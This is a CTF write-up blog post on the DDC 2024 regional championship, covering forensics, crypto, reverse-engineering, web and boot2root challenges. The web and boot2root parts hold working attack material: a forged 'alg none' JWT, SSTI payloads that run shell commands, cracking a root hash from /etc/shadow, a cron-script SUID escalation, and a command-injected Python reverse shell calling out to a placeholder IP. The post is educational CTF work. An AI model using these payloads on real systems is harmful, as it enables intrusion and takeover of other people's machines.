DDC24 Regional Writeups
The regional championship of DDC was held on February 13, 2024, and I ended up placing number 1 in my region and number 10 overall.
Challenges
Forensics
Drilske Dæknavne - Email
186pts - 29 solves - Medium
In this challenge series, we are given a dump of an Android phone. For this, we can use ALEAPP which is extremely useful for going through Android files. This is also a module in Autopsy, but I just chose to clone it locally and run the GUI. After this, I am left with a huge report with all the interesting information.
For this first challenge, our goal is to find an email.
By simply navigating to accounts_de_0
or Gmail - Active
in the report, we are greeted with the email [email protected]
which is what we need. Therefore, making the flag:
DDC{[email protected]}
Drilske Dæknavne - Leverance-IDer
353pts - 21 solves - Medium
For this challenge, we need to find a series of IDs from a conversation. We can find these IDs in a conversation on WhatsApp. This can be found in the WhatsApp - One To One Messages
section of the report. This gives us the following message:
Btw, hvis du skal verificere med tjekkerne, er leveringskoderne på de 5 poser vasketøj: LKJ73 HDH79 VCS13 LÆD72 SJV4W
Which means our flag is:
DDC{LKJ73-HDH79-VCS13-LÆD72-SJV4W}
Drilske Dæknavne - Address
415pts - 19 solves - Medium
For this challenge, we need to figure out where he is picking up his “packages.” This can be found in the Recent Activity
section of the report. According to the report, the screenshot is from Google Maps and shows us the address Svaneknoppen 13
, which means we have our flag:
DDC{Svaneknoppen13}
Drilske Dæknavne - Meeting
633pts - 13 solves - Medium
This challenge is about finding the meeting place, which seems to be a what3words code. This can also be found in Recent Activity
from the what3words app. I think there are other hints spread out as to what the three words are, but it is easier to just find it from the screenshot with the entire code indebar.tårerne.danseren
.
This means our flag is: DDC{indebar_tårerne_danseren}
Det kører som smurt - Unintended
520pts - 16 solves - Medium
I was very surprised when I accidentally solved this one by basically doing nothing for a Medium challenge. To solve this the unintended way, simply load the image file into Autopsy. It will give an error, but that can just be ignored. Once it is loaded into Autopsy, we can see that there is a zip file under Encryption Detected
. We will just ignore this, as that is probably related to the intended solution of the challenge. Instead, simply expand the Deleted Files
section and press All(23)
. From here, we have a bunch of images and PDFs. Just look through the images, and some of them will be the flag:
The bottom part of the flag is missing, but we can easily figure out that it says DDC{klassisk_bolle_med_smør_og_ost}
.
Spin2win
116pts - 37 solves - Easy
The point of this challenge is to “untwist” an image with the flag that has been swirled or twisted. To do this, I used Gimp’s Whirl and Pinch
tool.
After a bunch of tweaking and qualified guessing, I eventually got the flag: DDC{y0u-5p1n-m3-R1gh1-R0und-34bY}
.
Due to the twisted nature of the image, it was very hard to distinguish numbers from numbers. The challenge was especially tricky because the author decided to use normal dashes instead of the usual underscores in the flag.
Friendly Image
151pts - 32 solves - Very Easy
We start by loading the supplied file into Autopsy. By going to the files that are currently on the image, we can find Instructions1.txt
which contains:
Your task is very simple. The flag is contained within the three remaining files in alphabetical order. The flag starts with “DDC{“ then the first five characters of the first file. Then the last three characters of the second file. Followed by …
Clearly, something is missing here. If we go to the deleted files, we can find Instructions2.txt
which contains:
…the extension of the third file reverted back from hexadecimal. Im sure you can do it!
Other than that, we also have the following files:
ini.txt
, This is not a pipe.bmp
and zebra.77696E6E696E67
.
So, to solve this, we need to find the first five characters of the first file, which is ini.txt
and starts with keep_
. For the next part, we need the last three characters of This is not a pipe.bmp
, which are on_
. And lastly, we need to convert the file extension of the zebra
file back from hexadecimal, which results in winning
.
This gives us the flag:
DDC{keep_on_winning}
En Bankrøvers Bekendelser
906pts - 5 solves - Medium
For this challenge, we are supplied with an image of a lasagna called lasagne.jpg
, a memory file mem.vmem
, and the file mem.vmss
.
At first, I had a suspicious feeling towards the seemingly random lasagna image and decided to run some stego tools on it. It turns out that there was a rar
file hidden inside!
steghide extract -sf lasagne.jpg
Gives us the file Planer.rar
, which is password locked. So our goal now seems to be to find the password.
From the description, it mentioned something about a reminder list, which could be interesting.
After loading the vmem
file into Autopsy as a disk image, we can see all the files on it. From here, I simply did a keyword search for huskeliste
(Danish for reminder/todo list). This gave a few results with the following content:
Huskeliste:
Rob bank
Dont get shot
MinLivretErLasagne06:) Hehe :)
And here we seemingly have our password MinLivretErLasagne06
!
Extracting Planer.rar
with the password MinLivretErLasagne06
gives us a file called PlanSnedig.txt
which contains the following:
Det bliver Danske Bank!
DDC{1_W15H_1_Wa5_a_UN1c0Rn}
And we have the flag DDC{1_W15H_1_Wa5_a_UN1c0Rn}
!
Web
Critical Hit
100pts - 59 solves - Very Easy
This challenge is a website where we can choose to roll a die. By looking at the source JS, we can see that our goal is to roll a 20, but that is not possible from the rolling logic by itself. To solve this, we simply intercept the roll request and change the roll amount to 20, and we get the flag:
DDC{U_slaAy_gUrl}
None of your business
235pts - 26 solves - Easy
There is not a lot to go on from this challenge. By looking at our cookies, we can notice that we have a JWT token like:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoidmlzaXRvciJ9.NYurrr01ZVp9TFD5Pvi5fNsj3Vrdw_yO9mWggE0dXMw
If we decode each of these base64 parts, we get:
{"typ": "JWT","alg": "HS256"}
and {"role": "visitor"}
.
Judging from the name of the challenge, “None of your business,” we can guess that the vulnerability here is that the website accepts JWT tokens with the algorithm type set to None, which allows us to modify the role without actually having to sign it.
To do this, we simply have to do the following:
echo '{"typ":"JWT","alg":"none"}' | base64
which gives us: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0K
and then:
echo '{"role":"admin"}' | base64
which gives us eyJyb2xlIjoiYWRtaW4ifQo=
.
After stripping the =
and combining them we get eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0K.eyJyb2xlIjoiYWRtaW4ifQo.
.
Be sure to add the trailing .
.
After replacing our JWT cookie with this value, we are greeted with the flag!
DDC{uPdatEE_NeeDeD_urgenttliy}
Comment-all-you-want
847pts - 7 solves - Easy
For this web challenge, we have a blog-based application that now supports comments. Judging from the name of the challenge, the comments must be related to the solution.
And sure enough, if we enter a test payload for Server Side Template Injection like {{7+7}}
we can see that it gets executed and returns 14
in the comment.
Now we can use the object class from the MRO to get a list of subclasses that we can use to get RCE:
{{''.__class__.__mro__[1].__subclasses__()}}
This returns a long list of all the subclasses we can use. We are interested in subprocess.Popen
. Once we have found that, we just need to figure out what index it is located at in the subclasses list. In my case, it is at index 534
.
Now we can test our RCE by running any command like ls
:
{{''.__class__.__mro__[1].__subclasses__()[534]('ls',shell=True,stdout=-1).communicate()}}
And sure enough, this returns a list of files in the current directory!
By running whoami
, we can actually see that the web app is running as root
too. But all we need to get the flag is to check env
:
{{''.__class__.__mro__[1].__subclasses__()[534]('env',shell=True,stdout=-1).communicate()}}
And we get our flag: DDC{c0mments_4r3_4_n4sty_th1ng}
Crypto
Matematikeksperten
162pts - 31 solves - Very Easy
I’m not sure which cipher this was exactly, but I used the Redefence Cipher on dcode.fr and guessed the flag from there.
I used the following results from Dcode to guess the flag:
DDC{isuj_o_want_ot__e_gotta_d}mathb
DDC{isu_jow_ant_o_t__egottad_}amthb
bDDC{isuj_o_want_ot__e_gotta_d}math
With these, we have a good idea of some of the words, like “want”, “just”, and “math”.
After some trial and error in Notepad, I eventually got to the flag:
DDC{i_just_want_to_be_good_at_math}
Substitution in the constitution
100pts - 63 solves - Easy
This challenge was a simple substitution cipher using a snippet of the Danish Constitution (Grundloven).
For this, I used the tool on dcode.fr with the language set to Norwegian to get it as close as possible. After seeing the output, I found out that the first text was just from the constitution itself, found here. So I just adjusted the few characters that were wrong until it was readable and gave the flag:
DDC{vi_mennesker_i_kongeriget_danmark}
Time for RSA
709pts - 11 solves - Easy
From the description of this challenge, we are told that the RSA keys were generated on 18. februar 2024 kl. 21.00 GMT
and took a few tries, but in less than an hour.
From this information and looking in the source, we can see that it uses the timestamp as the seed for the keygen:
s = int(datetime.now().timestamp())
print(s)
random.seed(s)
And since we have the exact time when the RSA keys started being generated, we are able to narrow down the possible range of timestamps to just 3600 until the next hour.
To bruteforce this, I wrote a solve script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import random
import Crypto.Util.number
from datetime import datetime
from Crypto.Util.number import getPrime, GCD, inverse
def keygen(bits, randfunc):
# key generation
while True:
# sample two different primes
p = getPrime(bits // 2, randfunc)
q = getPrime(bits // 2, randfunc)
if p == q:
continue
N = p * q
phi = (p - 1) * (q - 1)
e = 65537
# e needs to be invertible modulo phi(N)
if GCD(e, phi) > 1:
continue
d = inverse(e,phi)
break
return (d, e, N)
def encrypt(message, e, N):
m = message % N
return pow(m, e, N)
def decrypt(ciphertext, d, N):
c = ciphertext % N
return pow(c, d, N)
with open('challenge.txt', 'r') as file:
message = int(file.read())
start = 1708290000
stop = 1708293600
current = start
for i in range(start, stop):
print("\n")
random.seed(current)
(d, e, N) = keygen(1024, random.randbytes)
decryption = decrypt(message, d, N)
cont = decryption.to_bytes((decryption.bit_length() + 7) // 8, 'little')
print(cont)
current += 1
if b"DDC" in cont:
print("FOUND")
break
This just runs through all the possible seeds from the start time and an hour ahead.
After running for some time, it stops and gives us the flag:
DDC{timestamps_are_super_bad_seeds_period}
Rev
ASCII Maze
100pts - 41 solves - Easy
This is a simple maze game where we can give the server commands like up
, down
, left
, and right
. The first three levels are doable, but the fourth level is a closed box that you cannot escape. By decompiling the binary, it is revealed that there is a secret input command called godmode
that then checks for a password.
By diving into the godmode password check function, we can see that it does a string comparison with the string i_believe_i_can_fly
.
So to beat the last level, we simply enable godmode by typing godmode
and the password i_believe_i_can_fly
.
After enabling godmode and beating the last level, we are greeted with the flag: DDC{Flyv_Ikaros_Flyv}
Boot2Root
Shadow
162pts - 31 solves - Very Easy
For this challenge, we were given an SSH login with the goal of becoming root and reading the flag. The name hints that we probably need to /etc/shadow
.
Luckily, permissions allow us to read it and get the hash of the root user’s password: $6$4oK4B.qs$6VBmR2suy2nQOqMzxgFEijUirV./ImCQMjyhM.Z3wtshV8t4q8gU3xjO2kSwTrfSUtXjKG4oq2JrLKgnUIV7e.
.
Now we can simply crack the hash using Hashcat:
hashcat -m 1800 hash rockyou.txt
After a few seconds or minutes, we have our result conga
.
So now we can simply run su
and supply the password conga
. Now we can read the flag!
DDC{Prot3ct_y0ur_s3cr3ts}
Cron my tab
415pts - 19 solves - Easy
This challenge gives us the SSH credentials to login to a server where a bash script is running every minute using cron.
We are not able to read the file, but we do have write permissions for it. This script is being run by root, so we can simply do:
echo "chmod +s /bin/bash" > /etc/read.sh
. And wait a minute for the script to run.
Once the script has run and /bin/bash
has the SUID bit set, then we can just run /bin/bash -p
, and we are root!
Now we can read the flag from the root directory:
DDC{v3ry-funny-cr0n-j0b}
Challenge 21
957pts - 3 solves - Easy
I did not solve this challenge during the competition but figured out the solution after it ended.
We are greeted with a classic web interface with the ping command. For anyone experienced in CTFs, this should already scream Command Injection, and sure enough, it was.
We could simply do ; ls
, and it would run our command.
From here, we can just use Python to create a simple reverse shell:
; python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("<IPHERE>",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'
After this, I was stuck for hours during the competition on how to privesc to root in order to read the flag.
After the competition, it turns out you simply just had to run su
and the password was root
…
Once we are root we can read the flag: DDC{B2uZ71MHnxTVOoaMDWZWZDsm2Qr}
I also struggled a ton with getting a proper reverse shell during the competition. After it ended, I tested it using the browser lab and instantly got a shell. So, the lesson to learn here is to not trust WSL for reverse shells :)
Misc
Penpals and messages
100pts - 75 solves - Very Easy
In this challenge, we are given an image and something about Caesar ciphers in the description.
By running Steghide, we can extract the text we need using:
steghide extract -sf penpals.jpg
Which gives us the following text:
Aipp_hsri_mr_mh_mx
By Caesar Shifting this text by 4, we get the text we need for the flag:
Well_done_in_id_it
Which seems a bit odd, but gives us the correct flag:
DDC{Well_done_in_id_it}
After talking with the organizers after the event, it turns out there were some issues with the challenge and CTFd flag not matching up. The intended flag was DDC{Well_done_you_did_it}
, but the actual flag in the challenge was added as a correct flag on CTFd a little after the competition started.
Find the culprit
162pts - 162 solves - Easy
For this challenge, we are given a few folders with a bunch of employees and tasked with finding the right one. All we have to go on is EYG_Ziokznygxk
.
The description mentioned that the pattern looked like the layout of a keyboard. This seemed like a hint towards decoding the string we have.
And sure enough, it turns out to be keyboard cipher
which can be decoded using this tool.
After decoding, we get cfo_thirtyfour
. So now we know that the employee we are looking for is working for the finance department and has employee number 34.
And by simply opening the file on employee 34 in the finance department, we get his name and employee ID, which is all the information we need!
DDC{Finance_Karl_Emil_1928}